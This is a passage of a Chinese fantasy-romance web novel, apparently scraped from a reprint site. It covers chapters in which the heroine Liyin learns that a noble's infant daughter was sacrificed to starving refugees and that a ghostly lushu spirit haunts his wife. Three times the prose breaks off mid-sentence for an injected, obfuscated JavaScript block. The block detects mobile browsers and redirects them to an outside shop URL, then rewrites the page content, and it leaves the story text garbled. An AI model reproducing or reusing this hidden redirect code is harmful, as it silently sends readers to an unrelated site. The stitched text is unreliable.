他不可自拔地爱上了自己笔下虚构出来的女子。 他甚至为她取了名字,把她当做自己的娘子,要为了她终身不娶。 璃音正自感叹这世间情爱竟还可以来得这样奇诡,就见徐远惊惊慌慌地向楚作戎房中奔了过去,口中大声叫道:“郎君!快过去看看夫人,夫人出事了!” 69. 第68章 四姑娘 萧夫人身上出现了与楚作戎一模一样的症状。 先是浑身发冷,上吐下泻,睡了一会儿起来,就突然发起癫症,紧裹着身上那一件毛绒绒的裘皮斗篷,窝在床角一个劲地发抖,一边抖,一边梦呓般念着:“乖宝宝,你在娘肚子里的时候就是最乖的,乖宝宝,你最疼娘亲,你乖乖的,去投胎吧,这世间有什么好,去投胎吧,去投胎吧……” 一会儿又冲门外大喊:“符呢,今年为四姑娘请的符呢,还不赶紧找出来贴上!” 说着指骨发颤,死揪住身上的毛皮斗篷,裹得愈发紧了。 楚作戎见了这副情状,早已是仓皇无措,伏在娘亲床边只知道哭。 楚蠡长叹一声,揉着眉心,挥手吩咐徐远:“去把符拿来。” 哭声、喊声、叹息声、慌乱的脚步声混杂交错,回荡在乱作一团的左司马府中,像有一只狰狞恶鬼对准这座府宅张开了它的深渊巨口,馋涎嘀嗒,化作鬼哭的哀嚎,随时要将这一处混乱红尘一口吞下。 璃音倚在门边,目光没有落在床角裹着毛皮发抖的萧夫人身上,也没有落在床边恸声大哭的楚作戎身上,而是一瞬不瞬地盯着那方空荡荡的床头,她盯了半晌,忽道:“四姑娘是谁?” 此问一出,楚蠡的身子有一瞬的僵硬。 “萧夫人似乎是被四姑娘的阴魂缠住了呢。”璃音仍是紧盯着床头。 在那里,端端正正地跪坐着一个只有她才能看见的小丫头。 小丫头一身姜黄色小袄,梳着双髻,一双鹿眼湿漉漉的,里面却没有任何情绪,只是空洞地睁在那里,怔望着伏身哀泣的楚作戎。 楚蠡仍是沉默。 而他的沉默,却只是让妻子疯癫的呓语、以及儿子痛苦的抽泣,一声声,一字字,都更加清晰,也更加难堪地入耳。 他终是再次长长叹出一口气,垂下眉眼,哀惋出声:“四姑娘,是我与阿凌夭折的小女儿。” 萧夫人名唤萧凌,楚蠡这一声“阿凌”便是喊的他夫人了。 大概二十多年前,东海之滨又有小国崛起,频繁出兵侵扰大酆,对方虽是小国,兵马却异常强健,一时两国之间战火连绵,直到武宁侯和左司马楚蠡齐齐奔赴战场,领兵坐镇三年,才总算将战事渐渐平息了下去。 此后数年,大攻猛伐虽不再有,小打小闹却仍是不断,武宁侯请旨驻扎在了东海之滨,左司马大人则带着爱妻和年幼的一双儿女,踏上了回王都的路。 那时小儿只有三岁,便是楚作戎,幼女更是刚满一岁半,是家中最小的孩子,还未来得及取名,只唤作四姑娘。 岂料路上数次遭流兵侵袭,楚蠡思量之下抛掉了钱粮车马,往地上抓一把泥,糊黑妻儿白净的脸蛋,混入逃荒的饥民,赶一辆破旧牛车,一路往王都去了。 乔装过后,饿了几天肚子,四人均饿得面黄肌瘦,倒真像一家子逃荒的灾民了。 三岁的楚作戎饿得不停嘴地嚎哭,萧凌就时刻把他抱在怀里,拍着背去哄,直到现在,她还觉得儿子孱弱的病体就是在这幼时饿下的病根。 四姑娘更是才一岁半,还在吃奶的年纪,萧凌却早就饿得不下奶了,为此急得直掉泪,小女娃却已经懂事了一般,一路上不哭不闹,只安静地窝在父亲怀里,饿了就把自己小小的手指伸进口中吮咂一番,吮累了就又继续窝在父亲肩头睡觉。 萧凌时常一面哄着哭个不停的儿子,一面望着丈夫怀中乖巧的小女儿,满眼爱怜地叹道:“夫君,这戎儿真乃前世的冤孽,没四姑娘一半乖巧,咱家的四姑娘怕不是投胎来报恩的呢。” 长路艰险,好在除去腹中饥火烧得难受,一家人性命都是无虞,再没遇上流兵草寇,一路有惊无险地行至天都城下。 却不想此时异变陡生,入城时,守兵一眼认出左司马大人,一时心中激动,远远地就行起了大礼。 这一下身份暴露,那些终日游荡在城门口却入不得城的流民当即红了眼,一个个如疯狗一般,目中饿出凶光,拦住疾奔进城的牛车,扑吼着跳上车去,滴着馋涎,七手八脚,去撕扯高官贵妇身上伪装的粗布麻衣,誓要翻找出他们贴身偷藏的钱粮。 楚作戎受了惊,当场就大声哭叫起来,覆体衣物被扯得稀烂,幼儿白嫩的手臂扑腾在空中,登时叫一群饿狼眼底都射出绿光,他们用舌尖舔着牙齿,一口口地往喉咙里咽着涎水,无数双瘦如枯柴的五指齐齐抓向那生嫩小儿的四肢。 眼看幼子就要被一帮饿疯了的饥民肢解蚕食,萧凌死命将儿子护在怀中,不住哭喊:“不要碰他!你们不要碰我的孩子,你们要吃就吃我吧!你们吃我!” 楚蠡当机立断一扬鞭,更加发了狠地赶那牛车,车子不知碾着几个人的身子奔了出去,又甩飞了车上三四个流民。忽地萧凌尖叫一声,原来是有人干瘦的指爪已然抓上了楚作戎细嫩的脚腕。 楚蠡抽出腰间匕首,寒刃削骨,鲜血狂溅而出,一只手被砍下,又有无数只手扑抓上来,他听着爱子惊惶的哭声,看了看怀里乖巧不吭一声的四姑娘,闭了闭眼,喉间发出一声痛苦的低吼,撕毁襁褓,将一身细皮嫩肉的小女娃往车后掷出,便双腿猛地一夹牛肚,让那牛发疯般地向城内狂奔而去。 流民们早已饿没了神智,当下看到一团喷香白肉落下下来,群嚎跃起,目射饥光,再顾不得车上的楚作戎,枯爪自四面八方扯住那小女娃的身体。 四姑娘嘴一张,终于发出了出生后的第一声响亮啼哭,但这哭声没能持续上一息,就戛然而止。 “孩子,我的孩子!” 萧凌哭得一口气喘不上来,晕死了过去。 楚蠡驾车疾驰,甩掉那些流民,也甩掉身后那一场人间炼狱,他没有掉一滴泪,也可能迎风就干在了风里,他带着妻儿平安地回到了左司马府,只留下了四姑娘。 四姑娘被他永远地留在了天都的城门口,留在了那个离家只有几街之遥的地方。 “我不后悔。”楚蠡坦坦荡荡地说着四姑娘的故事,“我当时再无别的选择了,她保护了她的父母,保护了她的哥哥,她是来楚家报恩的好孩子,她会明白的。” 璃音闻言脱口,声音涩哑:“真的是别无选择了吗?” 她看向哭声止歇了的床边,楚作戎不知何时起了身,满面愕然,怔然呆立,显然,他也是头一次听到关于四妹妹的这一段故事。 楚蠡转过不知不觉中僵冷起来的身子,终于泄出一点问心无愧以外的情绪,咬牙颤声:“夏姑娘,乱世之中,我若心软,死的就不会只是小女一人了!” 璃音不客气地向楚作戎一指:“楚大人,怎么乖巧懂事的女儿扔得,整日哭闹碍事的儿子却扔不得?三岁小孩儿的肉难道不比一岁半的还要多些?” “四姑娘是不是来报恩的我不知道。”璃音冷声,“但她投胎来你们楚家,才真是前世的冤孽。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967866|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你!” 璃音不理会楚蠡快戳上她鼻子的手指,扭头向慕璟明一撇嘴,道:“小七,这个老头好吵,你把他赶出去,把里面那个只知道哭哭啼啼的男人也赶出去,我想和萧夫人单独说会儿话,好不好?” 楚蠡:“……?” 多荒唐。 谁赶谁?谁是老头?这又是谁家?! 慕小侯爷自小人是乖张了些,但楚蠡料想他还不至于如此颠倒礼数,会为了一个小姑娘的一句荒唐话,就把当朝左司马赶出自己的卧房。 “楚叔叔,劳烦您先出去吧。” 楚蠡:“……?” 接着他就看到,自己那不中用的儿子被这颠倒礼数的小侯爷直接提着领子扔了出来。 慕璟明雷厉风行地执行完少女荒唐的清人指令,向她笑道:“去吧。” 然后自己便也退了出去,还贴心地带上了房门。 楚蠡:“……” “爹。”这时一直呆愣着的楚作戎却忽然出声了,“四妹妹的事,您之前为什么从未与我提过?” 楚蠡阖了阖眼,道:“提什么。” “你妹妹不死,死的就会是你,我是为了保你,为了保住你这楚家得来不易的血脉,亲手把自己的女儿送给了那群饿狼。” 他声音陡然拔高,滔天怒火奔泻,仿似一场迟来多年的决堤:“可你呢,看看你现在是个什么样子!贪生怕死,孱弱不堪!战场不肯上,我也断了念想,如今不过叫你安安稳稳在家成亲,你又百般作怪,折磨你的母亲,折磨我!你对得起那为你而死的妹妹吗,你对得起谁?!” 父亲的怒火奔涌而来,楚作戎却如坠冰窖,全身仿佛被冻在了一整个巨大的冰块里面,连吸进肺里的空气都带着冰刺。 他无声张了张唇,最后终究是什么也没说。 楚蠡看他这犹犹豫豫、泫然欲泣的窝囊样,对天长叹一声,终是连说三声“罢了”,迈开大步,拂袖而去。 屋内璃音已径自走去萧凌床头,在床沿坐下,想伸手抚一抚小丫头可爱的发髻,却被她扑闪着一双惊惶的鹿眼躲掉了。 她不在意地温垂下眉眼,怕吓到她似的,轻声问:“小丫头,你是为四姑娘来的?” 四姑娘死时才一岁半,断不可能是这副十四五岁的模样。 窝在床角的萧夫人一听见“四姑娘”这几个字,又痴痴呆呆地呓语了几句,随后发出一声悲鸣,体力不支,晕了过去。 小丫头摇摇头,像是根本听不见萧夫人的动静,一双眸子天真又好奇地将璃音望着,似乎想要确认什么,她微微张开五指,伸去璃音眼前晃了晃,挥动的小手立刻被眼前人温柔地握住。 她惊得立刻抽回手指,小脸也怕得埋了下去,半晌,才又小心翼翼地抬眸,嗓音细弱地开了口:“姐姐,你真的能看见我?” 璃音笑道:“早上我们也见过的,你不记得我了吗?” “记得,我记得的。”小丫头点着头,身子害怕地往后面缩了缩,“你是来抓我的吗?” “我不抓你,你先告诉我你是谁,为什么会在这里的好不好?” “我……我叫……” 璃音耐心等待着小丫头慢吞吞地吐字。 但她万想不到,她会听到这样一个答案。 “我叫小蜀。”小丫头细白的手指指向晕在床角的萧夫人,“我是为她而来的。” 70. 第69章 病因 听小丫头自称小蜀,璃音一时有些混乱。 小蜀,蜀娘子? 可她并不是画中的蜀娘子啊。 璃音顺着小丫头的指尖,望向床角昏晕过去的那人:“你是为萧夫人来的?” 谁知小丫头立刻摇头。 “不,不是她。”手指却又朝着萧夫人的方向用力戳了戳,“我是为她来的,为她。” 璃音更混乱了。 她稍理了下思绪,决定换个问法:“那些阴气化作的茶水,是你喂给萧夫人和楚公子喝的?” 小丫头低下头去,静默半晌,将小脑袋点了点,闷声:“是我没用,我下不去手,没能替妹妹报仇,竟让他们活到了现在。” 说着忽然抬头,湿漉漉的鹿眼中终于流下泪来:“姐姐,你帮帮我吧,求你帮帮我,你帮我把他们两个杀了,我把我的魂魄给你,我的魂魄和别个不一样,世上女子都想要的。” 璃音怔声:“世上女子都想要?” “嗯,姐姐,你与慕小侯爷洞房前将我的魂魄吃了,一定可以一举得子,此后更是年年有子,肯定能稳固你的地位,为侯府延续香火的。” 璃音张着嘴巴呆了一呆。 洞房,生子,地位,香火…… 每个词都仿佛一道天雷,直直劈在璃音的天灵盖上。 但她顶着被劈焦的天灵盖,还是努力抓出了小丫头话中的一丝线索:“萧夫人为能得子,把你妹妹的魂魄吃了,故而你来到此处,是为给你妹妹报仇的?” “何止是把她的魂魄吃了。”小丫头抹一把眼泪,哽咽着把字音一个一个往嗓子眼外面挤,“他们要她的魂,又不知怎么用,就活生生地剥了她的皮,吃她的肉……” 渐渐说不下去,终于一个扑身,扑到璃音怀里,放声大哭起来。 “我的妹妹,我可怜的小妹,直到现在,她的尸体还被杀害她的仇人披在身上啊……我却至今没能替她报仇,我好没用,我是个没用的坏姐姐!” 尸体还被萧夫人披在身上……? 璃音怔了一怔,视线不由得往萧夫人身上落下。 萧凌仍在昏睡,整个人裹在一袭毛绒绒的姜黄色裘皮斗篷里面,嘴里偶尔还冒出几句有关四姑娘的梦语。 璃音又垂目望了望怀中哭得正酣的小丫头,手抚过她身上的姜黄色细绒小袄,此时定睛细看,也不是纯然一片姜黄,上面还有着细微的虎褐色斑纹。 小蜀,求子,虎斑…… 像在一点一点还原一副拼图,璃音脑海中灵光一闪,向怀中的小丫头道:“你们是杻阳山上的鹿蜀一族?” 传闻中人们只要披上鹿蜀的皮毛,就可以多子多孙,若再能食肉饮血,得其魂魄,更是能怀胎不断,胎胎得男。 故而有些贵族夫人久未有子时,心中不甘,便什么旁门左道都要去试一试,而捕杀鹿蜀,常常便是这旁门左道中的首选。 萧夫人能一路随军去东海之滨,无论为情还是为了别的什么,想必是对左司马夫人这个名头极为看重的。 楚蠡不像武宁侯,没有三妻四妾,也从不纳通房,只干干净净守着一个正妻过日子,外人看来,能得此夫婿,萧凌实在是个大有福气之人。 但萧凌嫁给楚蠡之后,一连两胎都是女儿,彼时时局动荡,战火连天,楚蠡没有妾室,虽意味着对夫人全然的宠爱,但也意味着延续香火的重担全都落在了她一个人身上。 那时的萧夫人,心中应该也很是不安吧。 于是她做了一件许多贵族夫人都做过的事,捕杀鹿蜀,为己求子。 然后她就顺利怀上了楚作戎。 所以小丫头才会要找这一对母子报仇。 璃音轻叹一口气,抬起小蜀哭得乱七八糟的小脸,替她把眼泪擦了,温声道:“那你呢,小蜀,你的肉身去哪儿了?” 还未等小蜀回答,外面忽地传来叩门声响,小丫头立刻受惊般闭了嘴,身子往后一弹,就又端端正正坐回了床头。 “夏姑娘,我能给夫人送符进来吗?” 是徐远的声音。 鹿蜀一族常遭捕杀,故而最是警觉,受了外人打搅,小丫头一时半会儿必然是不会再开口的了。 “小蜀,晚上来武宁侯府,我陪你好好聊一聊好不好?” 小丫头迟疑了一下,但许是她一抹孤魂徘徊在此,实是寂寞无援了太久,好容易盼来一个能与之倾诉的对象,最终还是缓缓点了点头。 “约好了哦。” 璃音摸摸她的头,这才提声向门外道:“徐大哥,进来吧。” 很快,内室中就被各类镇魂往生的黄符纸贴满了。 璃音随手捏起几张看了看,这些符不能说没用,但是对萧夫人的症状用处不大。 毕竟从头至尾,楚萧夫妇两人都没找对过病因,一心只以为是四姑娘的阴魂纠缠,却不想府中另有其鬼。 但无论闹的这个鬼是四姑娘还是小蜀,说到底还是为着同一桩事惹上的,为了延续他们楚家所谓的“香火”。 “唉。” 一坐上回武宁侯府的马车,璃音就先烦闷地叹了口气。 “怎么了,有心事?”慕璟明侧眸望她。 璃音确实是有心事。 左司马府这一堆破烂腌臜事,她不知道自己究竟该不该插手。 若要插手,又该帮着哪边? 她不可能真去杀了萧凌和楚作戎的,历史也不允许她这么做,否则四年后,那副画着落日神弓的宴饮图就无法出世了。 但她也做不到驱走小蜀这样的孤魂,她是害人了,可她难道不该这么做吗? 想着想着,就又重重发出一声叹息,她迷茫抬眸,对上慕璟明清亮的瞳仁,不知怎么,耳边又浮现起小蜀那一段关于慕小侯爷洞房生子的话来。 她定定望了会儿慕璟明,忽然问他:“小七,你多大了?” 慕璟明轻怔,眉心微动,唇也抿成了一条直线,不大情愿给她答案的样子。 “你肯定在想,这个刺客真是不称职,竟连本小侯爷的生辰年月都还没摸清,真讨厌,我才不要告诉她呢,是不是?” 璃音望着他笑,看他被说中心事后横眼瞥她的模样,就更想笑了,她伸手去晃他的袖摆:“小侯爷现在告诉我,我保证以后都记得牢牢的,嗯?” 少年人有着自己古怪的傲气,慕璟明轻哼一声,撇过脸去,不再看她,只一片袍袖仍被少女抓在手中,有一搭没一搭地轻晃着。 一边晃还一边报着数猜:“十六?十七?十八……” 晃不过几下,那傲气便像一个个咕嘟咕嘟泛出水面的小气泡,被少女清涧般跃动流淌的声线一戳即破,但少年人心中也并未浮上恼意,反而隐秘地享受着气泡破裂时的快感。 在璃音一路把他的年龄数到三十的时候,慕璟明终于忍不住转回脸去。 “你看我像三十?”他望向璃音,语气里是又好气又好笑的投降,“记住了,是十七。” “十七啊……”璃音垂下手来,不再去玩慕璟明的衣袖。 十七岁,果然还是个没长开的少年呢,难怪她总觉得摇光神君的身量还要更高一些。 要说慕小侯爷与神君最大的不同,也就是这一份放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984383|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肆张扬的少年意气了吧。 不过在凡间,十七岁已到了可以成家立业的年纪了。 慕璟明见她对自己的十七岁感叹了一声,就没了下文,脸色忽沉,道:“难道你喜欢三十的?” 璃音微怔,随后差点笑出声来,她都活了几百年了,三十岁算得什么? 但又被话里的“喜欢”二字莫名触动了一下心神,她下意识地绕开这个话头,只是笑道:“十七岁,离侯爷催你成亲也不远了。” 慕璟明蓦然抬眸。 他望定眼前少女片刻,见对方有些不自在地别过了脸,忽而发出一声轻笑:“嗯,也许吧。” 璃音垂眸。 真难想象小七成亲的样子。 其实又有什么好问的呢? 无论慕小侯爷何时成亲,和谁成亲,都早已是在九百年前就刻进了史书中的定数,和她这个来自历史之外的人,永远也扯不上任何关系。 反正四年后,她拿到了落日神弓,就要走的。 “你的心事就是这个?” 感觉到带着熟悉温度的手掌覆上了她的,璃音猛地抽回了手,心里没来由地涌起一阵烦躁。 “慕小侯爷,少在这里动手动脚的,真把我当你的通房丫头了不成?” 慕璟明闻言微怔。 这时正好车夫吁着马儿停下,武宁侯府到了。 璃音根本没敢看慕璟明的表情,几乎是跳着就下了马车,奔回了府中。 这应该是她第一次真正给慕小侯爷甩脸子。 她一路奔回房中,将门反锁,转过身,呆立半晌,最后将背脊抵上房门,轻轻阖上了眼,有点想哭。 刚才那句话,就算是分割清楚了吧。 迟早要分割清楚的。 否则难道就这样放任自己,无止境地沉溺下去吗? 沉溺在一个九百年前少年人的炽热眼神中。 多好笑。 她抬手,用手背胡乱往脸上抹着,抹掉滚落在颊上的那些水珠,坐去了桌前。 虽是白日,关紧了门窗的屋内仍是昏暗,她又起身点了一盏灯烛,铺开一张大大的白纸,开始凭着记忆,试图画下那个送她来到此处的阵法。 那是被摇光神君改造过的哐哐复原大阵。 它既能送她过来,那么也一定能送她回去。 于她而言,这才是更要紧的事。 晚饭时候她去厨房炒了碗青菜,让童墨给慕璟明端去。 童墨端着菜,琢磨了半天她的脸色,终于忍不住问:“和小侯爷吵架了?” “没有。” 璃音回屋继续锁了门画阵,顺便等待着小蜀的到来。 她们约好,要在今晚谈一谈的。 可直至灯烛燃尽,天光亮起,院内响起洒扫之声,小蜀都没有出现。 巨大的不安渐笼上璃音心头。 她在屋子里踱了两圈,终是不放心,一打开门,就恰见徐远满面春风地走了过来,手里还提着两只活鸡,老远就冲她喊道:“夏姑娘!您可真是神了,昨日您单独和夫人聊完,不过半天,夫人病体竟全好了!” “病体……全好了?”璃音怔在门口,手指不自觉地扶上门框。 “是啊!”徐远将手中的两只活鸡高高地提起,难掩兴奋,“这都是家主特意让我给您送来的,还有好些谢礼在车上,我一会儿给您拿来。” 璃音垂眸,五指用力地几乎要陷进门框里面。 萧夫人的病好了。 也就是说…… 她呼吸微乱地闭了闭眼。 小蜀死了。 71. 第70章 傻子 萧夫人的病体果真是好了。 眉间澄澈,阴气全无,气色好得像回到了二十岁。 半个月后,她身上那件姜黄色的毛皮斗篷出现在了楚夫人的身上。 璃音有半个月没和慕璟明说话了。 故意给别人甩脸子、叫别人难堪这种事,她其实没怎么做过,实在缺乏经验,以至甩完脸子之后,慕璟明完全不理她了,她也一点都不知道该怎么办。 哄吧,感觉怪怪的,毕竟这不就是自己想要的吗? 不哄吧,也感觉怪怪的,看慕璟明偶尔向她投来没什么情绪的目光,心里就一揪一揪地难受。 她越来越不能看到他不开心的样子了。 但她绝不能心软。 否则迎接她的将会是无边地狱。 又过了小半个月,肃杀寒冬里连飘了几场大大小小的雪,放晴这日,楚作戎裹着厚厚的裘袄,往武宁侯府来了。 他的身子还是孱弱,一到冬天就畏寒,但眉宇间一派清明,阴气已全然不见。 今日来的时候,阴柔的气质也减了许多,满脸喜气洋洋的,披着大氅,捧了手炉,站在银白的雪地里就笑出一口白牙:“璟明,我要成亲了。” 璃音提着食盒走过的步子一顿,鞋底陷进厚厚的积雪里面,踩出嘎吱一声脆响。 该给这院子扫扫雪了,璃音不着边际地想着,下一刻,思绪就被青年欢快清愉的嗓音拉回:“夏姑娘,我要成亲啦!” 楚作戎被他的母亲当做孩子宠了二十年,如今在冬日午后的阳光下也笑得像个孩子,璃音看得出,他现在快乐得身子就和雪花一样轻,仿佛被穿云而来薄薄的日光一晒,就要融融地化作一滩蜜水。 但璃音不明白他的快乐从何而来。 明明一个月前,这个男人还在为了一个画中的幻想要死要活,口口声声说着要为了小蜀终身不娶。 从所谓的深爱到与别人成亲,原来只需要一个月不到的时间。 她眸光微转,看慕璟明懒倚着廊柱,同样的阳光照射在他的身上,却只给他镀了一层难言的冷清。 璃音重新望向像雪花一样轻盈快乐的楚作戎,尽力往唇边扯出一点笑意,向他点头道:“恭喜。” 便提步要走。 “喂喂喂,你们两个怎么回事。”楚作戎不乐意了,“这么大的喜事,我特地赶来告诉你们的,结果你俩一个靠着柱子不吭声,一个说了句恭喜就要走,太冷淡了吧!” 说着忽然就挤眉弄眼起来,神神秘秘地道:“你们就不好奇我要娶的这位娘子是谁吗?” 璃音倒是真有点好奇,于是又停身望他。 “是谁?” 楚作戎这下彻底来了劲,扬着眉毛乱笑几声,笑得跟个傻子似的,就从袖中摸出一卷画像,去璃音跟前展开。 画中人杏脸桃腮,仍是那个熟悉的美人。 璃音微怔:“蜀娘子?” “嗯,很快我就能接小蜀回家了。”楚作戎捏着那画,笑得眼睛都没了一半,“原来我的小蜀一直在等自己长大,长大了,就来嫁我了。” 听他这一声声的“小蜀”,璃音脑中浮现的却是另一个长着一双鹿眼的小丫头。 那个自称小蜀的小丫头,和这画中的蜀娘子,难道真的没有一点关系,只是名字上的一场巧合吗? 慕璟明见了这画,却不由得眉心微动,他看一眼楚作戎灿烂的笑颜,有些斟酌着开口:“小舅舅,蜀娘子不是……” “我知道你要说什么。”楚作戎兴奋地截过慕璟明的话头,将手中那副画像扬起,扬在冬日微薄的日光下面,“虽然我会说以前的小蜀也是真实的,但你肯定不会信。” 薄透的纸张几乎筛不住光线,白纸变得透明,墨线像是直接勾缠在半空,勾勒出一个女子生动姣好的面庞。 “但这一幅,是崔家与我娘议亲时送来的,是崔家小女儿的画像。” 闻言,璃音和慕璟明均是一愣。 楚作戎着迷地望着半空中那张由墨色勾出的脸,半晌,忽地咯咯傻笑起来:“你们不知道我有多傻。” 璃音无声扯了扯嘴角,心想,这个还是知道的。 只听楚作戎傻笑着续道:“原来一个月前娘亲给我相看的,就是这位崔姑娘,我竟还不知死活地非要拒绝这桩婚事,难怪那段时间小蜀总是那么生气,要罚我,她一定是气我笨,气我差点就要错过她了。 “幸好后来娘亲又坚持给我看了她的画像,我简直不敢相信这样的好事会发生在自己身上,你们说,我是不是这世上最幸运的男人?” 璃音不知道他是不是这世上最幸运的男人,但这蜀娘子一定是她见过最神秘的女人。 先是楚作戎在十几岁时的一日福至心灵,按着想象画了个他心目中的天下第一美人,十年后,就果真有个按着画长出来的姑娘,要来嫁他。 世上竟真有这样天赐的缘分,简直像在三生石上刻过彼此姓名相貌的。 但璃音还是忘不了那个长着小鹿眼睛的小蜀。 那个小蜀,她在这个故事中究竟扮演着一个什么样的角色,现在又去哪里了呢? 难道真的已经消散于世间了么? 她实在好奇小蜀的下落,于是向楚作戎道:“楚公子,以前的小蜀,那个总是罚你喝冷水的小蜀,你们见过面吗?” 想了想,又补充一句:“我是说在画像之外。” “怎么可能没见过。” 说完这句,楚作戎却微微一怔,半晌,又道:“或许不能说是见过面,但我知道是她,她也知道是我,我们每晚都要聊上好久,自从我把她画出来,她就一直陪着我的。” “你们是怎么聊天的?”璃音愈发好奇了。 “她会用手指蘸了茶水,在我的桌上写字,从我把她画出来的那一晚开始,从未有一天间断过。”楚作戎沉浸在回忆里,漾出一脸的蜜意柔情,“我还记得她给我写的第一句话,她说她叫小蜀,问我愿不愿意把命交给她。” 璃音好像开始有点明白是怎么回事了,她望着春情荡漾的楚作戎,不可置信又万分确定地道:“你就说了愿意。” 楚作戎羞涩点头:“我画她时,其实并未想象过她是个什么样性格的女子,直到那晚她来到我身边,我才晓得这世上还能有如此有趣的姑娘,她知道好多山野间的趣事,还看过许多我从未见过的山水,我同她聊天,时常聊到觉也忘了睡。” 似是想到了什么格外甜蜜的瞬间,楚作戎突然爆发出一阵无比响亮的傻笑,才又继续道:“小蜀真是太可爱了,你们知道吗,有一天,我突发奇想,画一个小蜀出来,就能陪我聊得这么开心,若我再多画几个出来,岂不就可以在自己卧房里面开茶会了? “于是我当天就又画了好几个美人出来,谁想小蜀一看见,就生气了,换了我的茶,要罚我喝冷水,还在桌上写了老大的两个字,说‘不许’。我那时就知道了,她喜欢我,而我还有什么可说的呢,我爱她,爱她的一切,我连命都给她了,我为了告诉她我有多爱她,把所有的画都烧了……” 楚作戎还在滔滔不绝地讲着,他时而讲得眉飞色舞,时而又讲得面颊绯红。 崔家女儿的那幅画像被他紧紧捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小蜀,你说四姑娘若是活到现在,会长成什么样的大人了呢?会喜欢骑马射箭,还是也像她哥哥一样,爱上写字画画?” 她这一夜望着漫天星斗,问了好多没有答案的问题,最后视线落到那颗最近悄悄看了无数无数遍的星星上。 嘴一瘪,酒意上涌,就觉一阵天旋地转,好像有很多树杈子在往她身上打,她醉得有些睁不开眼了,只听得耳畔风响,模糊意识到自己应该是在下坠,就呢喃着说醉话:“不好,要掉进银河里啦。” 最后有没有掉进银河,她当然不会知道。 她也不晓得自己掉在了哪里。 好像是让她抱住了另一枝树杈子,晃晃悠悠的,载着她不知要往哪里去。 她睁不开眼,只好用鼻尖蹭着嗅了嗅,闻到的明明不是桂花香,却总莫名让她想起曾在月牢闻过三百年的月桂花的香味。 她伸手揽住树杈,八爪鱼一样要往上面爬,却忽然被什么东西按住了,然后那树杈子居然开口了,树杈子凶凶地在她耳边说:“别闹。” 这哪里是什么树杈子,分明是人! 有人把她从自己最爱的树杈子上拖走了! 她一下子挣扎起来,眼睛仍是睁不开,只好胡乱蹬着腿乱喊:“我不走,我住上面的,我不要走,你放我回去,我要去上面睡觉了!” 可那人强硬地摁着她,就是不让她走,语气倒是轻柔了下来:“阿璃,雪还没化,别在这里睡,会生病的。” 这世上,只有一个人会喊她阿璃的。 璃音强撑着醉意,终于掀开了那两片沉重的眼皮。 “小七……”她又下意识地挣扎了一下。 那人垂眼,望向怀中不安分的她:“听话,回房再睡。” 璃音被他盯得有些不自在,但全身醉得手软脚软,也实在挣扎不动,发不动酒疯了,干脆把脸埋进那人胸口,半晌,才闷闷地道:“可是回房,回房就看不到星星了……” 72. 第71章 随军 璃音喝醉后其实算不得疯,她既不胡扯了嗓子高声乱叫,也不会乱挥手脚、突然跳起来打人,她只是会像猴子攀树一样,非要四手八脚地攀着什么东西,然后咕咕哝哝,不停地和被她攀住的那个东西说话。 她只是轻声细语地说话,不作妖,不扰民,简直称得上乖巧,但这份乖巧得有一个前提—— 她必须把自己挂在“树”上。 否则就要闹腾个没完。 木头树杈要是没有,人肉树杈也能凑合。 慕璟明将人打横抱回了房间,想着往她床上一扔就走,他可没忘记这丫头是怎么给自己甩脸的。 他接住她,抱她回来,不过是不想明天早上起来,就看到有个人冻死在自己院中的雪地里而已。 “小树杈,不能走。” 然而少女的背脊一触上床板,察觉到他手臂的抽离,就不安地哼哼起来,手脚并用,又紧紧往他身上缠了过去,活像一团没骨头的水藻。 “放手。”慕璟明去扒她缠上自己脖子的胳膊。 但璃音不依不饶,醉意朦胧间,只把眼前这人当成了一棵树,攀得死紧,她循着记忆中那熟悉的、叫人安心的香味,脑袋就蹭进了他好闻的颈窝。 后颈灼上少女温热的鼻息,慕璟明身形一顿,他僵着腰背,像一块硬挺的木板一样直起身,身上还挂了个人,他就这么无声站着,半晌,微哑了声音开口:“不是说不许动手动脚,你现在这又算什么?” 爬在他身上的少女不说话,只把清浅却灼人的呼吸一下下烫在他的颈侧。 睡着了么? 慕璟明沉默,弯下腰身,再一次试图把少女放去床上。 那人却好像粘在了他身上似的,任他怎么拽、拉、晃、甩,都只牢牢地将他攀住。 他只好又直起身,被少女这么抱着,真成了一棵只能傻站的树。 慕璟明无奈地去拍少女的背,让她放松一些,然而他每每弯身要放她下来,就被她扑腾着抱得更紧。 他一边想着自己此刻的样子该有多么滑稽,一边又只能滑稽地站好,良久,他终于在寂静夜色中泄出一声投降的轻叹,和少女一起倒去了床上,看她在自己胸口蹭了个满意的位置趴着,看她舒舒服服地睡着。 就这样吧。 慕璟明刚有些困倦地阖上眼,就听到轻轻的、带着黏糊糊的叹息和迷蒙水汽的嗓音在他胸膛上响起:“你讨厌我了吗?” 口齿有些模糊,听起来像是一句醉话,一句梦话,甚至是一声略带不安的叹息。 他也有些困了,听怀里这家伙这样反咬一口,又被气得清醒了些,他睁眼,伸手狠狠一捏她的下巴:“不是你在讨厌我?” 少女又不出声了,不知道是因为心虚,还是方才真的只是她的一句梦话。 